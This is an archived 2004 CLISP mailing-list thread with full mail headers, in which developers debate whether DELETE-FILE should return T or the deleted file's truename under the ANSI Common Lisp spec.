clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:17:03 2004 X-Original-Date: Tue, 17 Feb 2004 15:11:40 -0500 > * Raymond Toy [2004-02-17 14:48:43 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> In ANSI CL, DELETE-FILE is specified to return T on success. > Sam> CLISP returns the truename of the deleted file. > > Where does it say T? From the CLHS, I see that the syntax part says > delete-file returns T, but in the description it says: > > delete-file returns true if it succeeds, or signals an error of > type file-error if it does not. > > Where "true" basically means not NIL. Yes, so the current CLISP behavior is "weakly compliant" :-) Trouble is, it does say literal T in the syntax section... -- Sam Steingold (http://www.podval.org/~sds) running w2k Only adults have difficulty with child-proof caps. From marcoxa@cs.nyu.edu Tue Feb 17 12:27:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBo9-000191-RR for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:27:05 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtBjt-0006ei-Lx for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:22:41 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 7F6EC19D80 for ; Tue, 17 Feb 2004 15:22:40 -0500 (EST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:28:01 2004 X-Original-Date: Tue, 17 Feb 2004 15:22:37 -0500 On Tuesday, Feb 17, 2004, at 14:56 America/New_York, Sam Steingold wrote: >> * Marco Antoniotti [2004-02-17 14:18:03 -0500]: >> >>>>> 1. just return T and forget the truename >>>> >>>> No, will break existing code (run w/out -ansi) that relies on the >>>> truename >>> >>> Existing CLisp code already breaks in ANSI implementations. >> Obviously with all the caveats and distinguos of the case. > > I do not understand these two sentences. > Could you please elaborate? > (neither of us is a native English speaker :-) I just felt that my first email was wrong. I guess I made things worse with my second one :) I meant that if you had already written something like (let ((ftn (delete-file "foo"))) ... do something with FTN as a truename ...) then you are already on thin ice. Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From marcoxa@cs.nyu.edu Tue Feb 17 12:36:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtBxe-0003N1-FJ for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:36:54 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AtBmu-0005ME-25 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:25:48 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id B90DD19D81 for ; Tue, 17 Feb 2004 15:32:28 -0500 (EST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <6142D604-6188-11D8-9899-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:37:05 2004 X-Original-Date: Tue, 17 Feb 2004 15:32:18 -0500 On Tuesday, Feb 17, 2004, at 14:55 America/New_York, Sam Steingold wrote: >> * Marco Antoniotti [2004-02-17 14:08:34 -0500]: >> >>> 1. just return T and forget the truename >> If the truename refers to a delete file what use can you have? > > I do not understand this question. > >>> 4. other options? >> Return T and the truename as a second value. > > this is not compliant either. > DELETE-FILE returns 1 value. A conformant program would not break. But then again a conformant program would not break either if you returned the truename as first value. But wait maybe if somebody did (let ((d (delete-file "foo"))) (etypecase d (symbol ...) )) It never ends! :{ Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From zera_holladay@yahoo.com Tue Feb 17 12:37:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtByE-0003V3-P1 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:37:30 -0800 Received: from web41413.mail.yahoo.com ([66.218.93.79]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AtBty-000885-DQ for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:33:06 -0800 Message-ID: <20040217203301.54101.qmail@web41413.mail.yahoo.com> Received: from [68.252.241.160] by web41413.mail.yahoo.com via HTTP; Tue, 17 Feb 2004 12:33:01 PST From: zera holladay Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value To: clisp-list@lists.sourceforge.net, Raymond Toy In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:38:02 2004 X-Original-Date: Tue, 17 Feb 2004 12:33:01 -0800 (PST) --- Sam Steingold wrote: > > * Raymond Toy [2004-02-17 > 14:48:43 -0500]: > > > >>>>>> "Sam" == Sam Steingold writes: > > > > Sam> In ANSI CL, DELETE-FILE is specified to > return T on success. > > Sam> CLISP returns the truename of the deleted > file. > > > > Where does it say T? From the CLHS, I see that > the syntax part says > > delete-file returns T, but in the description it > says: > > > > delete-file returns true if it succeeds, or > signals an error of > > type file-error if it does not. > > > > Where "true" basically means not NIL. > > Yes, so the current CLISP behavior is "weakly > compliant" :-) > Trouble is, it does say literal T in the syntax > section... If it is "weakly compliant", then how is T defined? I thought T is a superclass of everything that is not '(), or at least I think I remember Steele writing something like that? -zh > -- > Sam Steingold (http://www.podval.org/~sds) running > w2k > > > > > Only adults have difficulty with child-proof caps. > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps > Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list __________________________________ Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online. http://taxes.yahoo.com/filing.html From sds@gnu.org Tue Feb 17 12:46:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtC72-0005bS-KV for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:46:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtC2l-0001FH-Uo for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:42:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HKfEV3021219; Tue, 17 Feb 2004 15:41:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <6142D604-6188-11D8-9899-000393A70920@cs.nyu.edu> (Marco Antoniotti's message of "Tue, 17 Feb 2004 15:32:18 -0500") References: <6142D604-6188-11D8-9899-000393A70920@cs.nyu.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:47:07 2004 X-Original-Date: Tue, 17 Feb 2004 15:41:13 -0500 > * Marco Antoniotti [2004-02-17 15:32:18 -0500]: > >>>> 1. just return T and forget the truename >>> If the truename refers to a delete file what use can you have? >> I do not understand this question. ??? >>>> 4. other options? >>> Return T and the truename as a second value. >> >> this is not compliant either. >> DELETE-FILE returns 1 value. > A conformant program would not break. (length (multiple-value-list (delete-file foo))) is conformant and must return 1 in a conforming implementation. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 10 kinds of people: those who count in binary and those who do not. From russell_mcmanus@yahoo.com Tue Feb 17 12:56:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCGK-0007pb-De for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:56:12 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtC5Y-0007hP-PN for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:45:04 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id F3194BD; Tue, 17 Feb 2004 15:51:14 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value References: From: Russell McManus In-Reply-To: (Sam Steingold's message of "Tue, 17 Feb 2004 13:00:50 -0500") Message-ID: <87wu6la0ql.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:57:01 2004 X-Original-Date: Tue, 17 Feb 2004 15:51:14 -0500 Sam Steingold writes: > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. > This is not compliant, albeit it offers a nice feature. > > How is this to be fixed? return two values. -russ From pascal@informatimago.com Tue Feb 17 12:56:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCGa-0007to-8L for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:56:28 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtC5o-0007kd-Ar for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:45:20 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 87174586E2; Tue, 17 Feb 2004 21:52:00 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 90C1445DB7; Tue, 17 Feb 2004 21:53:01 +0100 (CET) Message-ID: <16434.32557.467838.525276@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] poll: DELETE-FILE return value In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:57:06 2004 X-Original-Date: Tue, 17 Feb 2004 21:53:01 +0100 Sam Steingold writes: > In ANSI CL, DELETE-FILE is specified to return T on success. > CLISP returns the truename of the deleted file. > This is not compliant, albeit it offers a nice feature. > > How is this to be fixed? > > 1. just return T and forget the truename > > 2. return T when *ANSI* is T and truename otherwise. > (I think introducing an extra user variable for this is silly) > > 3. ignore the ANSI spec and keep the current behavior > > 4. other options? > > please voice your opinions here on , if you do not, > my prejudice will be hoisted on you. Actually, CLHS is ambiguous about the return of delete-file: delete-file filespec => t delete-file returns true if it succeeds, or signals an error of type file-error if it does not. and the glossary: true n. any object that is not false and that is used to represent the success of a predicate test. See t[1]. What the rule about such cases yet? It seems to me that returning non nil is good enough to be compliant. Of course, a compliant (portable) application would not use the value returned by delete-file, so perhaps it's not worth returning anything else than t. On the other hand, for interactive use, it's nice. So I'd say don't change anything. If it ain't broken... -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Tue Feb 17 12:56:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCGa-0007tr-Dn for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:56:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtCCJ-0002c1-Be for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:52:03 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HKpmV3024720; Tue, 17 Feb 2004 15:51:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> (Marco Antoniotti's message of "Tue, 17 Feb 2004 15:22:37 -0500") References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 12:57:07 2004 X-Original-Date: Tue, 17 Feb 2004 15:51:47 -0500 > * Marco Antoniotti [2004-02-17 15:22:37 -0500]: > > On Tuesday, Feb 17, 2004, at 14:56 America/New_York, Sam Steingold > wrote: > >>> * Marco Antoniotti [2004-02-17 14:18:03 -0500]: >>> >>>>>> 1. just return T and forget the truename >>>>> >>>>> No, will break existing code (run w/out -ansi) that relies on the >>>>> truename >>>> >>>> Existing CLisp code already breaks in ANSI implementations. >>> Obviously with all the caveats and distinguos of the case. >> >> I do not understand these two sentences. >> Could you please elaborate? >> (neither of us is a native English speaker :-) > > I just felt that my first email was wrong. I guess I made things > worse with my second one :) I meant that if you had already written > something like > > (let ((ftn (delete-file "foo"))) > ... do something with FTN as a truename ...) > > then you are already on thin ice. indeed. The general idea is that the _only_ reason to use -ansi or set *ANSI* is to run an ANSI compliance suite. One should set the 6 options (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired. -- Sam Steingold (http://www.podval.org/~sds) running w2k Time would have been the best Teacher, if it did not kill all its students. From sds@gnu.org Tue Feb 17 13:00:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCKx-0000bX-Di for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:00:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtCGg-00036f-76 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:56:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HKuOV3025664; Tue, 17 Feb 2004 15:56:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, Russell McManus Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87wu6la0ql.fsf@thelonious.dyndns.org> (Russell McManus's message of "Tue, 17 Feb 2004 15:51:14 -0500") References: <87wu6la0ql.fsf@thelonious.dyndns.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Russell McManus Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 13:01:12 2004 X-Original-Date: Tue, 17 Feb 2004 15:56:23 -0500 > * Russell McManus [2004-02-17 15:51:14 -0500]: > > Sam Steingold writes: > >> In ANSI CL, DELETE-FILE is specified to return T on success. >> CLISP returns the truename of the deleted file. >> This is not compliant, albeit it offers a nice feature. >> >> How is this to be fixed? > > return two values. this is not compliant either. DELETE-FILE returns 1 value. (length (multiple-value-list (delete-file foo))) is conformant and must return 1 in a conforming implementation. -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From pascal@informatimago.com Tue Feb 17 13:01:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCLY-0000l6-2x for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:01:36 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtCAk-0008IZ-Fx for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:50:26 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id ED54F586E2; Tue, 17 Feb 2004 21:57:06 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1885045DB7; Tue, 17 Feb 2004 21:58:08 +0100 (CET) Message-ID: <16434.32863.973877.735990@thalassa.informatimago.com> To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value In-Reply-To: <200402171832.i1HIWruk013459@van-halen.alma.com> References: <200402171832.i1HIWruk013459@van-halen.alma.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 13:02:07 2004 X-Original-Date: Tue, 17 Feb 2004 21:58:07 +0100 John K. Hinsdale writes: > > my votes in order of preference, w/ reasons: > > > 2. return T when *ANSI* is T and truename otherwise. > > (I think introducing an extra user variable for this is silly) > > Yes: preserves existing code that relies on the truename and at the > same time and guarantees ANSI-compliant when -ansi used ... > > > 1. just return T and forget the truename > > No, will break existing code (run w/out -ansi) that relies on the > truename Which would be a Good Thing(tm) IMO! Since it's implementation dependant, I'd even move to randomly return the truename, the size of the file deleted, or the age of my grandmother. > > 3. ignore the ANSI spec and keep the current behavior > > No, fails ANSI-compliance What ANSI-compliance? CLHS is ambiguous and says it returns non nil! -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Tue Feb 17 13:03:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCNU-0001Fv-Gq for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:03:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtCJC-0003NP-Rh for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 12:59:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HKwwV3026602; Tue, 17 Feb 2004 15:58:59 -0500 (EST) To: clisp-list@lists.sourceforge.net, zera holladay Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040217203301.54101.qmail@web41413.mail.yahoo.com> (zera holladay's message of "Tue, 17 Feb 2004 12:33:01 -0800 (PST)") References: <20040217203301.54101.qmail@web41413.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, zera holladay Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 13:04:11 2004 X-Original-Date: Tue, 17 Feb 2004 15:58:58 -0500 > * zera holladay [2004-02-17 12:33:01 -0800]: > > --- Sam Steingold wrote: >> > * Raymond Toy [2004-02-17 >> 14:48:43 -0500]: >> > >> >>>>>> "Sam" == Sam Steingold writes: >> > >> > Sam> In ANSI CL, DELETE-FILE is specified to >> return T on success. >> > Sam> CLISP returns the truename of the deleted >> file. >> > >> > Where does it say T? From the CLHS, I see that >> the syntax part says >> > delete-file returns T, but in the description it >> says: >> > >> > delete-file returns true if it succeeds, or >> signals an error of >> > type file-error if it does not. >> > >> > Where "true" basically means not NIL. >> >> Yes, so the current CLISP behavior is "weakly >> compliant" :-) >> Trouble is, it does say literal T in the syntax >> section... > > If it is "weakly compliant", then how is T defined? > I thought T is a superclass of everything that is not '(), or at least > I think I remember Steele writing something like that? -- Sam Steingold (http://www.podval.org/~sds) running w2k All extremists should be taken out and shot. From pascal@informatimago.com Tue Feb 17 13:12:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCWG-0003dA-2a for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:12:40 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp 